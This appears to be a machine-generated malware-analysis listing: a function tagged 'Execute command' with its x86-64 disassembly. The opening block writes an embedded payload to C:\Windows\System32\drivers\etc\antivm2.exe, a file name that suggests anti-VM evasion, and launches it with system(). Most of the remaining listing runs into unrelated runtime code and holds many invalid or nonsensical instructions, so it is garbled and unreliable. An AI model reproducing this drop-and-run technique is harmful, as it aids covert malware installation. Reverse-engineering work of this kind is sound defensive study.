Function at 0x140012030
Capabilities:
Execute command

Disassembly:
sub rsp, 0x48
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
mov r8d, Ordinal_45
lea rdx, str.C:WindowsSystem32driversetc_antivm2.exe
lea rcx, [rsp + 0x20]
call fcn.14001b6c0
nop
mov r8d, 0x82a198
lea rdx, [0x14010e640]
lea rcx, [rsp + 0x20]
call fcn.140011bc0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x1400120b5
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400120b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400120b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140082104
lea rcx, str.C:WindowsSystem32driversetc_antivm2.exe
add rsp, 0x48
jmp qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp edx, ecx
mov eax, edx
cmova eax, ecx
xor edx, edx
mov dword [rsp + 0x50], eax
dec eax
mov edi, eax
movzx ecx, byte [r8 + rax*4 + 0x33d32]
movzx esi, byte [r8 + rax*4 + 0x33d33]
lea rbx, [rcx*4]
lea eax, [rsi + rcx]
mov r8, rbx
lea rcx, [rbp + 0x344]
mov dword [rbp + 0x340], eax
call 0x140136f70
lea rcx, [0x14010da40]
shl rsi, 2
movzx eax, word [rcx + rdi*4 + 0x33d30]
lea rdx, [rcx + 0x33420]
lea rcx, [rbp + 0x344]
mov r8, rsi
add rcx, rbx
lea rdx, [rdx + rax*4]
call 0x1401368d0
mov r9d, dword [rbp + 0x340]
cmp r9d, r15d
ja 0x14013152a
mov eax, dword [rbp + 0x344]
test eax, eax
jne 0x1401314e7
xor r14d, r14d
jmp 0x1401315db
cmp eax, r15d
je 0x1401315f0
test r14d, r14d
je 0x1401315f0
xor r8d, r8d
mov r10, rax
xor r9d, r9d
mov ecx, dword [rbp + r9*4 - 0x5c]
mov eax, r8d
imul rcx, r10
add rcx, rax
mov r8, rcx
mov dword [rbp + r9*4 - 0x5c], ecx
shr r8, 0x20
add r9d, r15d
cmp r9d, r14d
jne 0x140131502
jmp 0x1401315c1
cmp r14d, r15d
ja 0x14013160b
mov ebx, dword [rbp - 0x5c]
mov r8, r9
shl r8, 2
mov r14d, r9d
mov dword [rbp - 0x60], r9d
test r8, r8
je 0x140131583
mov eax, 0x1cc
lea rcx, [rbp - 0x5c]
cmp r8, rax
ja 0x140131565
lea rdx, [rbp + 0x344]
call 0x1401368d0
jmp 0x14013157f
mov r8, rax
xor edx, edx
call 0x140136f70
call 0x140121b84
mov dword [rax], Ordinal_35
call 0x1401271a0
mov r14d, dword [rbp - 0x60]
test ebx, ebx
je 0x1401314df
cmp ebx, r15d
je 0x1401315f0
test r14d, r14d
je 0x1401315f0
xor r8d, r8d
mov r10, rbx
xor r9d, r9d
mov ecx, dword [rbp + r9*4 - 0x5c]
mov eax, r8d
imul rcx, r10
add rcx, rax
mov r8, rcx
mov dword [rbp + r9*4 - 0x5c], ecx
shr r8, 0x20
add r9d, r15d
cmp r9d, r14d
jne 0x14013159e
test r8d, r8d
je 0x1401315ec
cmp dword [rbp - 0x60], 0x73
jae 0x1401315e1
mov eax, dword [rbp - 0x60]
mov dword [rbp + rax*4 - 0x5c], r8d
mov r14d, dword [rbp - 0x60]
add r14d, r15d
mov dword [rbp - 0x60], r14d
jmp 0x1401315f0
xor r14d, r14d
xor al, al
mov dword [rbp - 0x60], r14d
jmp 0x1401315f3
mov r14d, dword [rbp - 0x60]
mov al, r15b
test al, al
jne 0x1401317c0
mov rsi, qword [rbp - 0x78]
and dword [rbp - 0x60], 0
mov rbx, rsi
jmp 0x140131897
cmp r9d, r14d
lea rdx, [rbp - 0x5c]
mov r11d, r14d
lea rcx, [rbp + 0x344]
add byte [rax], al
cmovae rcx, rdx
lea r8, [rbp + 0x344]
cmovb r11d, r9d
mov qword [rbp - 0x70], rcx
setb al
mov dword [rsp + 0x38], r11d
lea rdx, [rbp - 0x5c]
cmovae rdx, r8
test al, al
mov qword [rsp + 0x58], rdx
cmovne r9d, r14d
xor r14d, r14d
xor r10d, r10d
mov dword [rbp + 0x510], r14d
test r11d, r11d
je 0x140131776
mov esi, dword [rcx + r10*4]
test esi, esi
jne 0x140131689
cmp r10d, r14d
jne 0x14013176a
and dword [rbp + r10*4 + 0x514], esi
lea r14d, [r10 + 1]
mov dword [rbp + 0x510], r14d
jmp 0x14013176a
xor ebx, ebx
mov r8d, r10d
mov eax, edx
test r9d, r9d
je 0x140131757
mov r11d, r10d
neg r11d
cmp r8d, 0x73
jae 0x140131716
invalid
mov edi, r8d
mov ecx, r11d
cmp r8d, r14d
jne 0x1401316c0
and dword [rbp + rdi*4 + 0x514], 0
lea eax, [r8 + 1]
mov dword [rbp + 0x510], eax
mov eax, r8d
add r8d, r15d
add eax, ecx
mov edx, dword [rdx + rax*4]
mov eax, dword [rbp + rdi*4 + 0x514]
imul rdx, rsi
add rdx, rax
mov eax, ebx
add rdx, rax
lea eax, [r11 + r8]
mov rbx, rdx
mov dword [rbp + rdi*4 + 0x514], edx
mov r14d, dword [rbp + 0x510]
shr rbx, 0x20
cmp eax, r9d
je 0x140131703
mov rdx, qword [rsp + 0x58]
jmp 0x14013169d
test ebx, ebx
je 0x140131752
cmp r8d, 0x73
je 0x1401315fb
lea eax, [r8 + 1]
mov edx, r8d
cmp r8d, r14d
mov r8d, eax
jne 0x14013172e
and dword [rbp + rdx*4 + 0x514], 0
mov dword [rbp + 0x510], eax
invalid
invalid
add byte [rax], al
adc byte [0xcc9e1730], al
xchg ebp, eax
adc al, 5
add byte [rax], al
mov ecx, dword [rbp + rdx*4 + 0x514]
mov eax, ebx
add rcx, rax
mov dword [rbp + rdx*4 + 0x514], ecx
mov r14d, dword [rbp + 0x510]
add byte [rax], al
add byte [rax], al
shr rcx, 0x20
mov ebx, ecx
test ecx, ecx
jne 0x140131707
mov r11d, dword [rsp + 0x38]
cmp r8d, 0x73
je 0x1401315fb
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rsp + 0x58]
push rsp
and al, 0x58
add r10d, r15d
cmp r10d, r11d
jne 0x140131660
mov r8d, r14d
shl r8, 2
mov dword [rbp - 0x60], r14d
test r8, r8
je 0x1401317c0
mov eax, 0x1cc
lea rcx, [rbp - 0x5c]
cmp r8, rax
ja 0x1401317a2
lea rdx, [rbp + 0x514]
call 0x1401368d0
jmp 0x1401317bc
mov r8, rax
xor edx, edx
call 0x140136f70
call 0x140121b84
mov dword [rax], Ordinal_35
call 0x1401271a0
mov r14d, dword [rbp - 0x60]
mov edx, dword [rsp + 0x34]
push rsp
and al, 0x34
lea r8, [0x14010da40]
sub edx, dword [rsp + 0x50]
mov ecx, Ordinal_41
mov dword [rsp + 0x34], edx
jne 0x140131456
mov ecx, dword [rsp + 0x48]
mov eax, dword [rsp + 0x40]
lea eax, [rax + rax*4]
add eax, eax
sub ecx, eax
je 0x140131145
lea eax, [rcx - 1]
mov eax, dword [r8 + rax*4 + 0x33dc8]
test eax, eax
je 0x1401315fb
cmp eax, r15d
je 0x140131145
test r14d, r14d
je 0x140131145
xor r8d, r8d
mov r10d, eax
xor r9d, r9d
mov ecx, dword [rbp + r9*4 - 0x5c]
mov eax, r8d
imul rcx, r10
add rcx, rax
mov r8, rcx
mov dword [rbp + r9*4 - 0x5c], ecx
shr r8, 0x20
add r9d, r15d
cmp r9d, r14d
jne 0x140131821
test r8d, r8d
je 0x14013186b
cmp dword [rbp - 0x60], 0x73
jae 0x1401315fb
mov eax, dword [rbp - 0x60]
mov dword [rbp + rax*4 - 0x5c], r8d
mov r14d, dword [rbp - 0x60]
add r14d, r15d
add esi, edi
mov r14d, dword [rbp - 0x60]
jmp 0x140131145
add dword [rax], eax
add byte [rbx + 0x73], dh
invalid
add dword [rax], eax
add bl, ch
cmp al, 0x83
movsd dword [rdi], dword [rsi]
add eax, dword [rax]
add byte [rax], al
cmp eax, dword [rcx - 0x75]
ror byte [rax + 3], 0xc8
invalid
test ecx, ecx
lea ecx, [rsp + 0x64]
loopne 0x140131ace
add byte [rax], al
jne 0x140131acf
jne 0x140131acf
dec dword [rax - 0x7f]
invalid
and byte [rax], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call 0x1401271c0
int3
mov dword [rsp + 0x10], esi
push rdi
sub rsp, 0x20
mov rbx, r9
mov rsi, r8
mov rdi, rdx
test r9, r9
jne 0x140131b1d
invalid
add al, 0x33
shr bl, 0x56
xor eax, eax
jmp 0x140131b73
test rcx, rcx
jne 0x140131b37
call 0x140121b84
mov ebx, reloc.WLDAP32.dll_Ordinal_22
invalid
mov dword [rax], ebx
call 0x1401271a0
mov eax, ebx
ret
jmp 0x140131b73
ret
test rsi, rsi
je 0x140131b4e
cmp rdi, rbx
sti
jb 0x140131b4e
mov r8, rbx
mov rdx, rsi
call 0x1401368d0
jmp 0x140131b19
mov r8, rdi
xor edx, edx
call 0x140136f70
test rsi, rsi
je 0x140131b22
cmp rdi, rbx
jae 0x140131b6e
call 0x140121b84
mov ebx, Ordinal_35
jmp 0x140131b2c
mov eax, reloc.WLDAP32.dll_Ordinal_22
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret